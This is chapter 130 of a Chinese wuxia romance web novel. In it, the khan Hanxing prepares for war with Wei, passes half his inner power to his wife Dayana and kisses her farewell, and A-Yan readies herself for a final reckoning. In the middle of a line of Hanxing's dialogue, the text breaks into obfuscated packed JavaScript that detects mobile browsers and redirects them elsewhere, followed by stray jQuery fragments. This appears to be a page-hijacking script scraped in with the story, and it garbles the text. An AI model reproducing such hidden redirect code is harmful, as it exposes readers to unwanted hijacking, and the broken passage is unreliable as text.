130. 一吻了余憾

作品:《烟雨倾城

    西域。


    太阳就快落山了,依拉勒光着脚,在金灿灿的草原上自在奔跑。


    寒星给依拉勒找了最好的师傅,不光教他骑射剑术,还从大魏请来大儒,教他识文断字,治国理政,依拉勒天资聪颖,勤奋好学,尽管他才十岁,已经能够独当一面了。


    寒星勒住照夜飞矢,他面带微笑,注视着他的儿子,这是他这辈子最引以为豪的作品。


    寒木打马追了上来,“密探来报,大魏皇帝要对西域用兵了。”


    “来的人是谁?”


    “肃安王领兵,左将军霍翰羽,右将军卢文盛。”


    “不足挂齿,对了,先锋是谁?”


    寒木默了默,“女将军,陈兰旌。”


    寒星目光一滞,他侧过脸来,“阿烟?”


    “嗯。”


    夕阳的余晖在天地间铺开一大片的斑斓,寒星久久无语,末了竟是一笑。


    “这一天终于来了。”


    “陈兰旌一定是来找你报仇的,寒星,她已经不是席容烟了,你不能对她手软。”


    寒星扬了扬眉,没有答话,他伸手抚摸着照夜飞矢缎子般油亮的鬃毛,突然想起一事,“木头,达亚娜嫁过来多少年了?”


    “快十年了吧。”寒木指了指不远处的依拉勒,“你儿子不都快十岁了吗。”


    寒星的神情一下子变得严肃起来,他记得天机阁阁主曾经说过,寒木死在大魏三十年。


    寒星的声音有些慌乱,“今年,是大魏多少年?”


    寒木掰了掰指头,“好像是大魏三十年吧。”


    寒星脸色苍白,几无血色。


    “寒星,你怎么了?”


    “木头,你答应我一件事。”


    “你说。”


    “我们和大魏开战那天,你哪儿都不要去。”


    寒木一愣,“什么意思?你不让我跟着你一起杀敌?为什么?”


    “你答不答应。”


    “寒星,我不放心你呀!”


    寒星微微动唇,“我只问你,你答不答应?”


    寒木着实摸不着头脑,可他看寒星这个样子,又不像开玩笑,只得说道,“如果你执意如此,我答应你就是了。”


    寒星松了口气,他握住寒木的手,“木头,记住了,那一天,你哪儿都不要去。”


    “寒星,你能告诉我为什么吗?”


    “因为……”寒星阖眼一叹,“因为我希望你能好好活着。”


    寒木更糊涂了,可他还没来得及问,就见依拉勒扬着笑脸,冲二人跑了过来。


    男孩的声音清澈嘹亮,响彻山谷,“阿塔!”


    寒星紧蹙的眉头舒展开来,他一把捞起依拉勒,将他高高举过头顶。


    依拉勒转过脸来,冲寒木露齿一笑,“寒木叔叔。”


    寒木伸手揉了揉他的脑袋,笑着应道,“好孩子。”


    寒星把他搂在怀里,“书读得怎么样了?”


    依拉勒点点头,“师傅昨儿教了我《商君书·算地》,阿塔,我给你背一遍呀。”


    “好啊。”


    依拉勒果真背了一遍,一点都没卡壳。


    “背得不错,知道这篇文章是什么意思吗?”


    “嗯,知道!数者,臣主之术,而国之要也。”[1]


    寒木大笑起来,“哈哈哈哈,寒星,你这儿子可以啊,又会武功又会文章,假以时日,早晚越过你去。”


    寒星亲了亲依拉勒的脸蛋,依拉勒的眼睛像是幽深的蓝宝石,在日光下散发着沉静而又耀眼的光芒。


    他仰起小脸,在寒星的下巴上蹭了蹭,“阿塔,你去瞧瞧阿娜好不好,她想你了。”


    寒木脸上的笑容僵了一下,慌忙偏头去看寒星。


    寒星怔了怔,说,“好。”


    依拉勒高兴得直咧嘴,他勾住寒星的脖子,“好哦,阿塔答应了,阿塔不许食言哦!”


    子夜。


    寒星轻手轻脚地掀起帐帘,风贴着门缝渗入帐中,吹得烛火微晃。


    坐在榻边的达亚娜机警地转过头来,她看见寒星,不由得愣住了。


    寒星扫了眼榻上的依拉勒,微微一笑,“儿子睡着了?”


    达亚娜手足无措地点点头。


    “出来一下,我有话和你说。”


    达亚娜撂下手里的针线,跟着寒星走出大帐。


    二人沿着河边,缓步慢行。


    “儿子没和你说,我今晚要来吗?”


    “说了。”


    “那你怎么这么惊讶?”


    “小孩子的话,我怎么敢相信。”


    达亚娜停下脚步,抬眼望着寒星,“大汗今日来找我,该不会是因为依拉勒吧。”


    “你猜猜看。”


    “我们之间,除了他,似乎也没有什么别的交集了。”


    她低下头,笑了笑,“大汗总不可能是专门来见我的吧。”


    寒星伸手揽住她的肩,目光温和,“为什么不可能?”


    达亚娜的身子微不可察地颤了一下。


    寒星叹了口气,“达亚娜,这些年,是我对不住你。”


    “不怪你,我从一开始就知道会是这个结果,可是大汗,我不后悔嫁给你。”


    达亚娜试探着往寒星身上靠了靠,见他没有反感的意思,她伸手轻轻环住了他。


    “父王说过,爱一个人,就一定要得到他,我得到了你,成为了你名义上的阏氏,我很开心。大汗,我知道你不爱我,这些年来,你来我帐中的次数屈指可数,要么就是寒毒发作,要么就是为了那个女人喝得酩酊大醉,你在意识清醒的时候从来没有碰过我。”


    寒星挣开她,“达亚娜,别再说了。”


    达亚娜的唇角扬了扬,带起一丝单薄的笑,“大汗,你别误会,我同你说这些,并不是想要抱怨什么,路是我自己选的,我没什么好抱怨的,正如我方才说的,我不后悔。”


    她侧了侧身子,抬眼望着大帐的方向,笑道,“你虽然不爱我,却送给了我这世上最好的礼物,依拉勒,他是我们的儿子,是我和你的儿子,大汗,我真的很感激你。”


    寒星顺着她的视线看了过去,神色稍微和缓了些,“我已经将怜冰决的心法封印在他的体内,只是他年纪尚小,一时半刻怕是还没有办法完全领悟其中关窍,达亚娜,我把他交给你了,你要好好照顾我们的孩子。”


    达亚娜一怔,“你这是什么意思?”


    “大魏和西域要打仗了,我没有把握从战场上活着回来。”


    “大汗,你从来没有说过这么丧气的话,你告诉我,是不是因为那个女人来了?”


    “这和你没有关系。”


    达亚娜红了眼眶,大声道,“怎么和我没有关系?你是我的丈夫,依拉勒是我们二人的骨肉,你为了一个不相干的女人,竟连自己的性命都不要了吗?”


    寒星凝视着达亚娜的眼眸,一字一顿,“阿烟不是不相干的女人,她是我这辈子唯一动过心的女子,她是我的另外半条命,为了她,我做什么都心甘情愿。”


    达亚娜面色惨白,几乎站立不稳,她退后一步,大口喘气,颤颤巍巍地抬手指着自己,“那我呢,我算什么,我和你的孩子又算什么?”


    寒星张臂搂住了她,“对不起。”


    刹那间,达亚娜仿佛失去了意识,她什么都看不见,什么都听不见,她只能感受到寒星的体温还有自己的心跳。


    她把头埋在他的怀里,呜呜咽咽哭了起来。


    寒星的衣襟湿了,他垂眸看着她,神情微微有些错愕。


    自从达亚娜嫁到西域,寒星还从来没有看见过她流泪的样子,一次都没有。


    在他的印象中,达亚娜就像天上的红日,永远是那么的朝气蓬勃,乐观坚韧,明艳动人。


    他一直以为,这个女人是不会哭的。


    他现在才明白,原来她也会伤心,也会难过,有时候也会忍不住哭出声来。


    他叹了口气,抬手拢住她的发心,浅蓝色的幽芒顺着他的经脉缓缓汇入她的体内。


    达亚娜沉浸在汹涌澎湃的悲伤中,一时没有反应过来,待她觉察时,却是已经迟了。


    她猛地推开他,“你在做什么?你疯了!”


    达亚娜虽然不似寒星那般武功高强,却也是自小习武之人,她发现寒星居然渡了一半的内力给自己,她整个人都快崩溃了。


    大战在即,寒星这么做,除非是不想活了。


    对,他就是不想活了。


    寒星淡淡道,“照顾好依拉勒,他现在承载不了这么强大的内力,等他有一天能将霜寒十四州融会贯通了,你再将我的内力慢慢传给他。”


    达亚娜张了张嘴,却说不出话来。


    一股酸涩从心头涌上鼻尖,她抽泣着问,“大汗,如果有一天,他问我,你去哪里了,我该怎么回答他?”


    寒星默了默,半晌,他缓声道,“你就说,他的父亲本来是天上的一颗星星,一不小心掉了下来,他的父亲练了很久很久的武功,才找到了回到天上的办法。他要是想找到父亲,就要好好习武,好好读书,等有一天练到和他的父亲一样厉害了,他就也能飞到天上去了。”


    达亚娜笑了起来,笑着笑着又哭了,“依拉勒已经十岁了,你以为,这种哄小孩的把戏,还能瞒他多久?”


    寒星一脸云淡风轻,“等他长大了,想通了,自然也就不会再在意这些事情了。”


    今晚的天空很是清朗,明月高悬,星子一闪一闪,堪堪缀在夜色一角。


    寒星抬眼望着头顶的星空,恍惚间,他想起了一些过去的事,嘴角不自觉微微上扬。


    达亚娜立在当地,看着他的背影发怔,泪水模糊了他的轮廓,像是一团云雾,忽聚忽散。


    她再也顾不得许多,扑上去紧紧抱住了他。


    “大汗,不要丢下我!”


    寒星一愣,下意识想要拽开她的手,可她抱得那么紧,仿佛用尽了全身的力气,饶是他也挣脱不开。大片大片的湿热漫过他的后背,他叹了口气,抬手覆上了她的手。


    “达亚娜,你是一个很好的女孩子,如果我很早很早就认识了你,或许我会爱上你。”


    达亚娜朦胧的泪眼中闪过一丝欢喜,“真的吗?”


    “嗯。”


    寒星听见,她似乎是笑了一下,“大汗,如果有下辈子的话,我一定要早点遇上你。”


    寒星没有应声,他解下腰间的佩剑,交到她的手上。


    他垂指轻抚青霜剑的剑身,眼中满是不舍,“此剑与我相伴三十余载,从未离身,待我去后,你将此剑交给寒木,告诉他,见剑如见我,我希望,他能娶妻生子,安稳一生。”


    达亚娜颤手接过青霜剑,哑声应道,“好。”


    “依拉勒虽然争气,到底是个孩子,若是尧里瓦斯还活着,他一定会尽心辅佐,我也能少些牵挂,可惜……”


    寒星没再说下去,他仰起脸,望着天上大大小小的星子。他从前听过一个传说,人死了之后,都会回到天上,变成一颗颗小星星,看着自己牵挂的人。


    寒星的眼眸亮了亮,继续说,“所幸寒木、艾山、沙吾提也都是可信赖之人,有他们在,我很放心。无论此战,本汗是生是死,西域是胜是负,大魏都会元气大伤,你让依拉勒不要急于用兵,一时的成败并不要紧,他读过许多书,应该明白这其中的道理,你让他带着西域的将士们趁着这个机会修生养息,以待来日。”


    “好。”


    “还有一事。”寒星转过身来,他看着她的眼睛,极其郑重地说,“达亚娜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667497|142169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我和阿烟的爱恨纠葛,我希望,你永远不要告诉依拉勒。”


    “我明白了,你是怕依拉勒有一天知道了事情真相,去找那个女人报仇,是不是?”


    “是,也不是,我希望在他的记忆里,他的父亲是一个好君王,好丈夫,好父亲。”


    达亚娜退后一步,凄凉一笑,“好,我答应你,不过,我有一个条件。”


    寒星微一挑眉,“什么条件。”


    达亚娜的脸上浮出一抹古怪的笑意,“我要你吻我。”


    寒星眉头深锁,“这算什么条件?”


    “怎么,你不肯吗。”


    达亚娜嗤笑一声,“你又不是没有吻过我,我只是想让你在清醒的时候,再吻我一下。”她的声音慢慢低了下去,“我不想每一次的沉沦,都只是在你的梦中。”


    寒星默默静立,没有答言。


    达亚娜瞧着寒星的样子,不由得有些失落。


    是的,他不爱她,哪怕只是逢场作戏,他也不情愿。


    达亚娜一甩袖子,利落转身,扔下一句,“无妨,你不愿意就算了。”


    下一秒,她的身子突然失去了平衡,整个人被他捞在怀里。


    天旋地转间,她看见了如墨的黑发,冷峻的眉眼,高挺的鼻梁,凉薄的嘴唇。


    她笑了,这是她第一次看见他的眼睛。


    之前每一次,他吻她的时候,都是在半昏迷的情况下,他的眼睛都是闭着的。


    她痴痴地看着这双冰蓝色的眼眸,恍若星河一般璀璨。


    她心说,好美呀。


    星子伴着唇间的一缕幽香,坠入她的眼底,心上。


    只消刹那,已是永恒。


    寒星松开手,神色一如往常。


    刚才的一切仿佛一场梦,而她怔在当地,还在梦中。


    “答应我,不要告诉依拉勒。”


    达亚娜抬指揩去眼角的泪珠,笑道,“好,你放心,本公主答应你的事情,一定会做到。”


    寒星点点头,提步离开。


    达亚娜望着他的身影渐次隐入群山,沉入夜色。


    良久,终于再也看不见了。


    风声入耳,如同阵阵呜咽。


    她仰头,漫天繁星尽入眼中,她抿了抿唇,呢喃道,“大汗,这辈子,我没有遗憾了。”


    玉门关。


    肃安王和衣而眠,他的嘴唇微微颤抖,睡得并不安稳。


    他梦见,悠悠的脸上挂了两道血泪,一步步向他走来。


    “悠悠。”


    “王爷,是你,害死了我。”


    “不,不是的悠悠。”


    肃安王猛地坐了起来,“不!”


    他扫了眼四周的景象,知道自己又做噩梦了。


    他躺回床上,却是再无困意,半睡半醒间,他听见门外传来一阵悉悉索索的声音。


    肃安王的第一个反应是有刺客,他提剑而起,冲出门去,一把拽住那人。


    待看清楚那人的容貌时,他不由得愣住了,“你是,平乐?”


    平乐冲他眨了眨眼睛,“晗安哥哥。”


    肃安王松开手,“你怎么会在这儿?什么时候溜出来的?皇上知道此事吗?”


    平乐得意地扯了扯自己身上的衣裳,“当然不知道啦,我打扮成士兵的模样,跟着你们一路走到这里。”


    “你怎么不早点来找我,你要是知会我一声,我还能照顾照顾你。”


    “我怕被人发现啊,更怕被你送回去,那样,我就见不到我的孩子了。”


    肃安王无可奈何,“大半夜的,你跑这儿来干什么,我差点把你当成刺客杀了。”


    平乐揉着肚子,扁了扁嘴,“我饿了,本来是想去厨房的,结果天太黑了,我没看清路,就误打误撞走到这里来了。”


    “哈哈哈,走,我带你去。”


    平乐犹豫道,“这是不是不太好,你一个主帅,半夜带人去厨房偷东西吃,嘶。”


    肃安王拍了一下她的脑袋,“笨蛋,你都说了我是主帅,怎么能叫偷呢。”


    “也对哦。”


    二人手拉着手,借着细微的月光,朝厨房的方向走去,走到一间房舍时,平乐站住脚,望着窗内的烛光,疑惑道,“咦,这么晚了,怎么还有人没睡呀。”


    肃安王看了一眼,“这间屋子是陈将军的,她应该是有心事吧。”


    平乐知道席容烟和寒星的事情,此刻一听,就全都明白了。


    她叹了口气,没再多说,拉起肃安王的手跑了起来。


    铜炉华烛,灯花噼啪,席容烟一扬袖,忘川倏然而出。


    她手执软剑,长身而舞,银白色的光辉如烟花般絮絮炫开,素淡轻渺而又夺目灿烂。


    烛火摇曳下的点点金芒吻了眉,萦了袖,一圈圈旋转一圈圈飘落,到乌丝尽落清颜不再,到胭脂褪尽歌残冷暖,到陌上花开染不了铅华素面,到红尘散去空换了雪作流年。


    她隔着窗,看到了氤氲的红与忽闪的白,在来去无痕的荒野上,红裹不住白苍凉的长发霜林尽染,白抚不了红三秋的血花水何澹澹。红与白镂在刻骨的深夜,永不相交,亦不相离。


    一切的一切于无人处兀自流淌,春流到冬,冬流到夏,何该是少了些什么,却来不及问。


    她收剑入袖,蓦地,什么东西潸澘然滑落,不自觉的抬手,眼角却是清清爽爽,半分也无。


    她仰头轻笑,所有的不甘不舍,所有的情仇爱恨,于心头滚过。


    忍粘黏,莫牵连,终究是化作飞灰,烟灭了。


    看不破,便是千遭轮回千遭孟婆,硬要碰,便是飞蛾扑火契阔成说。


    她从枕下取出寒星数年前送她的那支木簪,稳稳插入发髻。


    “寒星,这一次,我们合该做个了断。”